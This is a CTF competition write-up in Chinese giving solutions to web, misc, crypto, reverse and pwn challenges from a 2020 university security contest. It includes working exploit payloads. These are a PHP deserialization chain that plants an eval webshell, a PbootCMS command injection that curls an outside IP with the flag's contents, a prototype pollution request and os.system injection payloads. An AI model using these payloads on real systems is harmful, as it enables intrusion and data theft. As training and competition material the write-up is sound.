2020 第十三届全国大学生信息安全竞赛 创新实践能力赛 线上初赛 部分题解

Web

easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

a 传入 call_user_funcb 直接 Fuzz 看看。

1
2
3
4
<?php
foreach (get_defined_functions()['internal'] as $r) {
print_r($r . "<br/>");
}

发现直接过了,回显一个 Phpinfoflag 在环境变量里。

1
flag{00c27187-f94d-4cbb-a7c6-9bb6d985e959}

babyunserialize

扫描发现有www.zip的源码泄露,点开发现是Wmctfwebweb,找了个Payload打发现被ban了几个函数,只能再找一个链了。

全局搜一下**__destruct方法,fatfree/lib/db/jig.php**这儿有一个看起来可以用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/**
* save file on destruction
**/
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}

/**
* Write data to memory/file
* @return int
* @param $file string
* @param $data array
**/
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}

/**
* Exclusive file write
* @return int|FALSE
* @param $file string
* @param $data mixed
* @param $append bool
**/
function write($file,$data,$append=FALSE) {
return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}

尝试着构造一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

namespace DB;

class Jig {

protected
$uuid,
$dir = './',
$format = 1,
$log,
$data = array('./south.php'=>['<?php echo south; phpinfo(); eval($_POST["south"]); ?>']),
$lazy = true;
}

echo urlencode(serialize(new Jig()));

// O%3A6%3A%22DB%5CJig%22%3A6%3A%7Bs%3A7%3A%22%00%2A%00uuid%22%3BN%3Bs%3A6%3A%22%00%2A%00dir%22%3Bs%3A2%3A%22.%2F%22%3Bs%3A9%3A%22%00%2A%00format%22%3Bi%3A1%3Bs%3A6%3A%22%00%2A%00log%22%3BN%3Bs%3A7%3A%22%00%2A%00data%22%3Ba%3A1%3A%7Bs%3A11%3A%22.%2Fsouth.php%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A54%3A%22%3C%3Fphp+echo+south%3B+phpinfo%28%29%3B+eval%28%24_POST%5B%22south%22%5D%29%3B+%3F%3E%22%3B%7D%7Ds%3A7%3A%22%00%2A%00lazy%22%3Bb%3A1%3B%7D%

没权限,找了半天,然后认真看了一遍phpinfo才在环境变量里发现flag

1
flag{183fd29a-abd2-44fc-b7ed-fdfec3e8b5bd}

rceme

随手搜了一下发现是PbootCMS v1.3.2的命令执行漏洞。

1
2
GET /?a={if:`curl%20122.51.113.164:233/?%5C%60cat%20%2Fflag%5C%60`}(1){end%20if}
# flag{d9d115c5-9c21-4764-9023-ce9fd564a54a}

littlegame

npm install一下接着npm audit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
                       === npm audit security report ===

# Run npm update set-value --depth 1 to resolve 1 vulnerability
┌───────────────┬──────────────────────────────────────────────────────────────┐
│ High │ Prototype Pollution │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Package │ set-value │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Dependency of │ set-value │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ Path │ set-value │
├───────────────┼──────────────────────────────────────────────────────────────┤
│ More info │ https://npmjs.com/advisories/1012 │
└───────────────┴──────────────────────────────────────────────────────────────┘


found 1 high severity vulnerability in 61 scanned packages
run `npm audit fix` to fix 1 of them.

报告了一个原型链污染,找到这个链接

根据源码和POC打,先访问/SpawnPoint,然后进行原型链污染。

1
2
3
POST /Privilege

NewAttributeKey=__proto__.south&NewAttributeValue=south

最后拿到flag

1
2
3
4
5
POST /DeveloperControlPanel

key=south&password=south

# <body>flag{771f673a-0fe4-473e-a5fe-bb9843b2664d}</body>

easytrick

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

利用string的特性。

1
2
3
4
5
6
7
8
9
10
11
<?php

class trick
{
public $trick1 = "NAN";
public $trick2 = NAN;
}

echo urlencode(serialize(new trick()));

// O%3A5%3A%22trick%22%3A2%3A%7Bs%3A6%3A%22trick1%22%3Bs%3A3%3A%22NAN%22%3Bs%3A6%3A%22trick2%22%3Bd%3ANAN%3B%7D%

然后打一下。

1
2
GET /?trick=O%3A5%3A"trick"%3A2%3A%7Bs%3A6%3A"trick1"%3Bs%3A3%3A"NAN"%3Bs%3A6%3A"trick2"%3Bd%3ANAN%3B%7D%
flag{e57a5617-e605-4978-81d6-311c516c7ca7}

MISC

电脑被黑

根据描述,恢复出一个demoflag.txt

1
ext3grep --restore-all disk_dump

IDA打开demo,简单修改一下就可以逆向。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
int main()
{
int result; // eax
char v4; // [rsp+1Dh] [rbp-13h]
char v5; // [rsp+1Eh] [rbp-12h]
char v6; // [rsp+1Fh] [rbp-11h]
FILE *v7; // [rsp+20h] [rbp-10h]
FILE *stream; // [rsp+28h] [rbp-8h]

v4 = 34;
v5 = 0;
v7 = fopen("flag.txt", "rb");
if ( v7 )
{
stream = fopen("res.txt", "rb+");
if ( stream )
{
while ( 1 )
{
v6 = fgetc(v7);
if ( v6 == -1 )
break;
fputc((v4 ^ v6) - v5, stream);
v4 += 34;
v5 = (v5 + 2) & 0xF;
}
fclose(v7);
fclose(stream);
result = 0;
}
}
return result;
}

# flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

the_best_ctf_game

16进制打开过滤一下一些字符。

1
flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

Crypto

bd

E很大,Wiener一把梭。

1
2
3
4
5
6
7
8
9
def test_hack_RSA():
print("Testing Wiener Attack")
c = 37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
e = 46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
n = 86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
hacked_d = hack_RSA(e, n)
print(hacked_d)
print(pow(c, hacked_d, n))
# 56006392793428926653739441307877479859588558044180270732051018541455698198327268542258074930468108413

然后转字符串。

1
2
>>> print(bytes.fromhex(hex(56006392793428926653739441307877479859588558044180270732051018541455698198327268542258074930468108413)[2:]))
b'flag{d3752538-90d0-c373-cfef-9247d3e16848}'

Re

z3

IDA打开,是个解方程,结合题意的z3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from z3 import *

res = [0x4F17, 0x9CF6, 0x8DDB, 0x8EA6, 0x6929, 0x9911, 0x40A2, 0x2F3E, 0x62B6, 0x4B82, 0x486C, 0x4002, 0x52D7, 0x2DEF,
0x28DC, 0x640D, 0x528F, 0x613B, 0x4781, 0x6B17, 0x3237, 0x2A93, 0x615F, 0x50BE, 0x598E, 0x4656, 0x5B31, 0x313A,
0x3010, 0x67FE, 0x4D5F, 0x58DB, 0x3799, 0x60A0, 0x2750, 0x3759, 0x8953, 0x7122, 0x81F9, 0x5524, 0x8971, 0x3A1D]
v46 = Int('v46')
v47 = Int('v47')
v48 = Int('v48')
v49 = Int('v49')
v50 = Int('v50')
v51 = Int('v51')
v52 = Int('v52')
v53 = Int('v53')
v54 = Int('v54')
v55 = Int('v55')
v56 = Int('v56')
v57 = Int('v57')
v58 = Int('v58')
v59 = Int('v59')
v60 = Int('v60')
v61 = Int('v61')
v62 = Int('v62')
v63 = Int('v63')
v64 = Int('v64')
v65 = Int('v65')
v66 = Int('v66')
v67 = Int('v67')
v68 = Int('v68')
v69 = Int('v69')
v70 = Int('v70')
v71 = Int('v71')
v72 = Int('v72')
v73 = Int('v73')
v74 = Int('v74')
v75 = Int('v75')
v76 = Int('v76')
v77 = Int('v77')
v78 = Int('v78')
v79 = Int('v79')
v80 = Int('v80')
v81 = Int('v81')
v82 = Int('v82')
v83 = Int('v83')
v84 = Int('v84')
v85 = Int('v85')
v86 = Int('v86')
v87 = Int('v87')
s = Solver()
s.add(res[0] == 34 * v49 + 12 * v46 + 53 * v47 + 6 * v48 + 58 * v50 + 36 * v51 + v52)
s.add(res[1] == 27 * v50 + 73 * v49 + 12 * v48 + 83 * v46 + 85 * v47 + 96 * v51 + 52 * v52)
s.add(res[2] == 24 * v48 + 78 * v46 + 53 * v47 + 36 * v49 + 86 * v50 + 25 * v51 + 46 * v52)
s.add(res[3] == 78 * v47 + 39 * v46 + 52 * v48 + 9 * v49 + 62 * v50 + 37 * v51 + 84 * v52)
s.add(res[4] == 48 * v50 + 14 * v48 + 23 * v46 + 6 * v47 + 74 * v49 + 12 * v51 + 83 * v52)
s.add(res[5] == 15 * v51 + 48 * v50 + 92 * v48 + 85 * v47 + 27 * v46 + 42 * v49 + 72 * v52)
s.add(res[6] == 26 * v51 + 67 * v49 + 6 * v47 + 4 * v46 + 3 * v48 + 68 * v52)
s.add(res[7] == 34 * v56 + 12 * v53 + 53 * v54 + 6 * v55 + 58 * v57 + 36 * v58 + v59)
s.add(res[8] == 27 * v57 + 73 * v56 + 12 * v55 + 83 * v53 + 85 * v54 + 96 * v58 + 52 * v59)
s.add(res[9] == 24 * v55 + 78 * v53 + 53 * v54 + 36 * v56 + 86 * v57 + 25 * v58 + 46 * v59)
s.add(res[10] == 78 * v54 + 39 * v53 + 52 * v55 + 9 * v56 + 62 * v57 + 37 * v58 + 84 * v59)
s.add(res[11] == 48 * v57 + 14 * v55 + 23 * v53 + 6 * v54 + 74 * v56 + 12 * v58 + 83 * v59)
s.add(res[12] == 15 * v58 + 48 * v57 + 92 * v55 + 85 * v54 + 27 * v53 + 42 * v56 + 72 * v59)
s.add(res[13] == 26 * v58 + 67 * v56 + 6 * v54 + 4 * v53 + 3 * v55 + 68 * v59)
s.add(res[14] == 34 * v63 + 12 * v60 + 53 * v61 + 6 * v62 + 58 * v64 + 36 * v65 + v66)
s.add(res[15] == 27 * v64 + 73 * v63 + 12 * v62 + 83 * v60 + 85 * v61 + 96 * v65 + 52 * v66)
s.add(res[16] == 24 * v62 + 78 * v60 + 53 * v61 + 36 * v63 + 86 * v64 + 25 * v65 + 46 * v66)
s.add(res[17] == 78 * v61 + 39 * v60 + 52 * v62 + 9 * v63 + 62 * v64 + 37 * v65 + 84 * v66)
s.add(res[18] == 48 * v64 + 14 * v62 + 23 * v60 + 6 * v61 + 74 * v63 + 12 * v65 + 83 * v66)
s.add(res[19] == 15 * v65 + 48 * v64 + 92 * v62 + 85 * v61 + 27 * v60 + 42 * v63 + 72 * v66)
s.add(res[20] == 26 * v65 + 67 * v63 + 6 * v61 + 4 * v60 + 3 * v62 + 68 * v66)
s.add(res[21] == 34 * v70 + 12 * v67 + 53 * v68 + 6 * v69 + 58 * v71 + 36 * v72 + v73)
s.add(res[22] == 27 * v71 + 73 * v70 + 12 * v69 + 83 * v67 + 85 * v68 + 96 * v72 + 52 * v73)
s.add(res[23] == 24 * v69 + 78 * v67 + 53 * v68 + 36 * v70 + 86 * v71 + 25 * v72 + 46 * v73)
s.add(res[24] == 78 * v68 + 39 * v67 + 52 * v69 + 9 * v70 + 62 * v71 + 37 * v72 + 84 * v73)
s.add(res[25] == 48 * v71 + 14 * v69 + 23 * v67 + 6 * v68 + 74 * v70 + 12 * v72 + 83 * v73)
s.add(res[26] == 15 * v72 + 48 * v71 + 92 * v69 + 85 * v68 + 27 * v67 + 42 * v70 + 72 * v73)
s.add(res[27] == 26 * v72 + 67 * v70 + 6 * v68 + 4 * v67 + 3 * v69 + 68 * v73)
s.add(res[28] == 34 * v77 + 12 * v74 + 53 * v75 + 6 * v76 + 58 * v78 + 36 * v79 + v80)
s.add(res[29] == 27 * v78 + 73 * v77 + 12 * v76 + 83 * v74 + 85 * v75 + 96 * v79 + 52 * v80)
s.add(res[30] == 24 * v76 + 78 * v74 + 53 * v75 + 36 * v77 + 86 * v78 + 25 * v79 + 46 * v80)
s.add(res[31] == 78 * v75 + 39 * v74 + 52 * v76 + 9 * v77 + 62 * v78 + 37 * v79 + 84 * v80)
s.add(res[32] == 48 * v78 + 14 * v76 + 23 * v74 + 6 * v75 + 74 * v77 + 12 * v79 + 83 * v80)
s.add(res[33] == 15 * v79 + 48 * v78 + 92 * v76 + 85 * v75 + 27 * v74 + 42 * v77 + 72 * v80)
s.add(res[34] == 26 * v79 + 67 * v77 + 6 * v75 + 4 * v74 + 3 * v76 + 68 * v80)
s.add(res[35] == 34 * v84 + 12 * v81 + 53 * v82 + 6 * v83 + 58 * v85 + 36 * v86 + v87)
s.add(res[36] == 27 * v85 + 73 * v84 + 12 * v83 + 83 * v81 + 85 * v82 + 96 * v86 + 52 * v87)
s.add(res[37] == 24 * v83 + 78 * v81 + 53 * v82 + 36 * v84 + 86 * v85 + 25 * v86 + 46 * v87)
s.add(res[38] == 78 * v82 + 39 * v81 + 52 * v83 + 9 * v84 + 62 * v85 + 37 * v86 + 84 * v87)
s.add(res[39] == 48 * v85 + 14 * v83 + 23 * v81 + 6 * v82 + 74 * v84 + 12 * v86 + 83 * v87)
s.add(res[40] == 15 * v86 + 48 * v85 + 92 * v83 + 85 * v82 + 27 * v81 + 42 * v84 + 72 * v87)
s.add(res[41] == 26 * v86 + 67 * v84 + 6 * v82 + 4 * v81 + 3 * v83 + 68 * v87)
print(s.check())
m = s.model()
for d in m.decls():
print("'%s': %s," % (d.name(), m[d]))

res = {'v84': 54, 'v65': 52, 'v63': 57, 'v74': 45, 'v47': 108, 'v62': 98, 'v81': 97, 'v64': 45, 'v48': 97, 'v51': 55,
'v58': 51, 'v53': 49, 'v49': 103, 'v55': 49, 'v57': 52, 'v67': 49, 'v54': 55, 'v70': 57, 'v69': 45, 'v56': 100,
'v86': 56, 'v72': 48, 'v60': 54, 'v78': 52, 'v68': 56, 'v79': 99, 'v75': 54, 'v46': 102, 'v77': 49, 'v76': 101,
'v50': 123, 'v61': 51, 'v71': 57, 'v82': 102, 'v83': 101, 'v85': 52, 'v87': 125, 'v80': 50, 'v73': 101,
'v66': 101, 'v59': 45, 'v52': 101, }
for i in sorted(res):
print(chr(res[i]), end="")
# flag{7e171d43-63b9-4e18-990e-6e14c2afe648}

Pwn

babyjsc

Python2input 有个命令执行漏洞,随便搜了个 Payload

1
2
3
4
5
__import__('os').system('ls /')
__import__('os').system('ls /home')
__import__('os').system('ls /home/ctf')
__import__('os').system('cat /home/ctf/flag')
# flag{c4e39be1-666e-43c4-bf9c-3b44bd280275}